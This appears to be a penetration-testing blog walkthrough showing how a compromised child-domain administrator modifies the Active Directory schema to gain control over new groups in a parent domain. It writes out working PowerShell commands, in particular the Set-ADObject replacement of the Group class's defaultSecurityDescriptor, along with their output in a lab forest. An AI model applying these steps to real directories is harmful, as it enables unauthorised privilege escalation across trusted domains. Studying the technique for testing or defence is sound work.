Active Directory Schema Modification

In Active Directory the schema is a blueprint that defines the structure and attributes of objects within an Active Directory forest. The schema provides a set of rules and guidelines for creating, modifying, and deleting objects in the directory.

The schema is shared across all domains within an Active Directory forest. Changes to the schema impact all domains in the forest.

Active Directory contains partitions, known as Naming Contexts which are used to separate information;

  • Schema NC: stores schema information that is replicated to domain controllers in all domains of the forest.
  • Configuration NC: stores topology and other configuration data information that is replicated to domain controllers in all domains of the forest.
  • Domain NC: store domain information such as users and computers that is replicated to domain controllers in that domain only.

If we have compromised a child domain, we can potentially modify the schema naming context to gain access to a parent domain. This could be used as an alternative to SID History Abuse, in the case that SID filtering has been enabled between domains.

The Attack

In this scenario, we’re assuming we are domain administrator in a child domain (child.bordergate.local). We are aiming to gain control of resources in the parent domain (bordergate.local).

First, we need to modify the Discretionary Access Control List (DACL) on the Schema container to add our compromised user. The easiest way to do this is with the ADSI editor.

Schema Container Permissions Modification

Active Directory Services Interface Editor (ADSI) can be used to view, and modify AD DS objects. Execute ADSIEdit.msc as SYSTEM (using PSExec), and open the Schema Naming Context.

Select the Schema container, and add a child domain administrator.

Select the Advanced button, select the Administrator account we just added, and ensure it’s configured for “This object and all descendant objects” and “Write all properties”.

We should now be able to modify any schema container. Our aim is to modify the group container, so we have full rights over new groups created in the parent domain.

Looking a the properties of the “Group” container, we can see we have write access to the object due to the changes we previously made.

DefaultSecurityDescriptor Modification

Next, we need to change the default security descriptor for the group container.

The DefaultSecurityDescriptor property specifies the Discretionary Access Control List (DACL) which is issued to new objects.

We can use the Get-ADObject cmdlet to view the DefaultSecurityDescriptor for the group container.

Get-ADObject "CN=group,CN=Schema,CN=Configuration,DC=bordergate,DC=local" -Properties DefaultSecurityDescriptor


DefaultSecurityDescriptor : D:(A;;RPWPCRCCDCLCLORCWOWDSDDTSW;;;DA)(A;;RPWPCRCCDCLCLORCWOWDSDDTSW;;;SY)(A;;RPLCLORC;;;AU)(A;;RPWPCRCCDCLCLORCWOWDSDDTSW;;;AO)(A;;RPLCLORC;;;PS)(OA;;CR;ab721a55-1e2f-11d0-9819-00aa0040529b;;AU)(OA;;RP;46a9b
                            11d-60ae-405a-b7e8-ff8a58d456d2;;S-1-5-32-560)
DistinguishedName         : CN=group,CN=Schema,CN=Configuration,DC=bordergate,DC=local
Name                      : Group
ObjectClass               : classSchema
ObjectGUID                : 11717604-1a20-4ced-8333-0d863ce5bf1a

To convert the Security Descriptor Definition Language (SDDL) string to something slightly more readable we can use ConvertFrom-SddlString

ConvertFrom-SddlString -Sddl "D:(A;;RPWPCRCCDCLCLORCWOWDSDDTSW;;;DA)(A;;RPWPCRCCDCLCLORCWOWDSDDTSW;;;SY)(A;;RPLCLORC;;;AU)(A;;RPWPCRCCDCLCLORCWOWDSDDTSW;;;AO)(A;;RPLCLORC;;;PS)(OA;;CR;ab721a55-1e2f-11d0-9819-00aa0040529b;;AU)(OA;;RP;46a9b11d-60ae-405a-b7e8-ff8a58d456d2;;S-1-5-32-560)"  | Foreach-Object {$_.DiscretionaryAcl}
NT AUTHORITY\SELF: AccessAllowed (CreateDirectories, GenericExecute, GenericRead, ReadAttributes, ReadPermissions, WriteExtendedAttributes)
NT AUTHORITY\Authenticated Users: AccessAllowed (CreateDirectories, GenericExecute, GenericRead, ReadAttributes, ReadPermissions, WriteExtendedAttributes)
NT AUTHORITY\SYSTEM: AccessAllowed (ChangePermissions, CreateDirectories, Delete, DeleteSubdirectoriesAndFiles, ExecuteKey, FullControl, GenericAll, GenericExecute, GenericRead, GenericWrite, ListDirectory, Modify, Read, ReadAndExecute, ReadAttributes, ReadExtendedAttributes, ReadPermissions, TakeOwnership, Traverse, Write, WriteAttributes, WriteData, WriteExtendedAttributes, WriteKey)
BUILTIN\Account Operators: AccessAllowed (ChangePermissions, CreateDirectories, Delete, DeleteSubdirectoriesAndFiles, ExecuteKey, FullControl, GenericAll, GenericExecute, GenericRead, GenericWrite, ListDirectory, Modify, Read, ReadAndExecute, ReadAttributes, ReadExtendedAttributes, ReadPermissions, TakeOwnership, Traverse, Write, WriteAttributes, WriteData, WriteExtendedAttributes, WriteKey)
CHILD\Domain Admins: AccessAllowed (ChangePermissions, CreateDirectories, Delete, DeleteSubdirectoriesAndFiles, ExecuteKey, FullControl, GenericAll, GenericExecute, GenericRead, GenericWrite, ListDirectory, Modify, Read, ReadAndExecute, ReadAttributes, ReadExtendedAttributes, ReadPermissions, TakeOwnership, Traverse, Write, WriteAttributes, WriteData, WriteExtendedAttributes, WriteKey)
NT AUTHORITY\Authenticated Users: AccessAllowed (WriteAttributes)

To modify the defaultSecurityDescriptor, we lookup a SID for a user we control (the child domain administrator in this case).

Get-ADUser Administrator

DistinguishedName : CN=Administrator,CN=Users,DC=child,DC=bordergate,DC=local
Enabled           : True
GivenName         :
Name              : Administrator
ObjectClass       : user
ObjectGUID        : f027fc82-a73b-4592-8554-141e534a61df
SamAccountName    : Administrator
SID               : S-1-5-21-3282285589-3699175333-1759823265-500
Surname           :
UserPrincipalName :

Then use Set-ADObject to append the SID to the descriptor we previous retrieved. We give the user GenericAll privileges using the SDDL of; (A;;GA;;;S-1-5-21-3282285589-3699175333-1759823265-500)

Set-ADObject -Identity "CN=group,CN=Schema,CN=Configuration,DC=bordergate,DC=local" -Replace @{defaultSecurityDescriptor = 'D:(A;;RPWPCRCCDCLCLORCWOWDSDDTSW;;;DA)(A;;RPWPCRCCDCLCLORCWOWDSDDTSW;;;SY)(A;;RPLCLORC;;;AU)(A;;RPWPCRCCDCLCLORCWOWDSDDTSW;;;AO)(A;;RPLCLORC;;;PS)(OA;;CR;ab721a55-1e2f-11d0-9819-00aa0040529b;;AU)(OA;;RP;46a9b11d-60ae-405a-b7e8-ff8a58d456d2;;S-1-5-32-560)(A;;GA;;;S-1-5-21-3282285589-3699175333-1759823265-500)'} -Verbose -server DC01.bordergate.local

Now, when a new group is created in the parent domain, the administrator of the child domain is able to add new members into it.

PS C:\Users\Administrator> Add-ADGroupMember -Identity "ServerAdmins" -Members (Get-AdUser bob -server CDC01.child.bordergate.local) -server dc01.bordergate.local
PS C:\Users\Administrator> Get-ADGroupMember  -Identity "ServerAdmins" -server dc01.bordergate.local


distinguishedName : CN=bob,CN=Users,DC=child,DC=bordergate,DC=local
name              : bob
objectClass       : user
objectGUID        : 34819c7e-a2d7-4ace-8681-6d68e449c0ac
SamAccountName    : bob
SID               : S-1-5-21-3282285589-3699175333-1759823265-1105

In Conclusion

This example shows how it’s possible to modify the defaultSecurityDescriptor for the Group container, however this could also be applied to other containers to change writes of new users and group policy objects.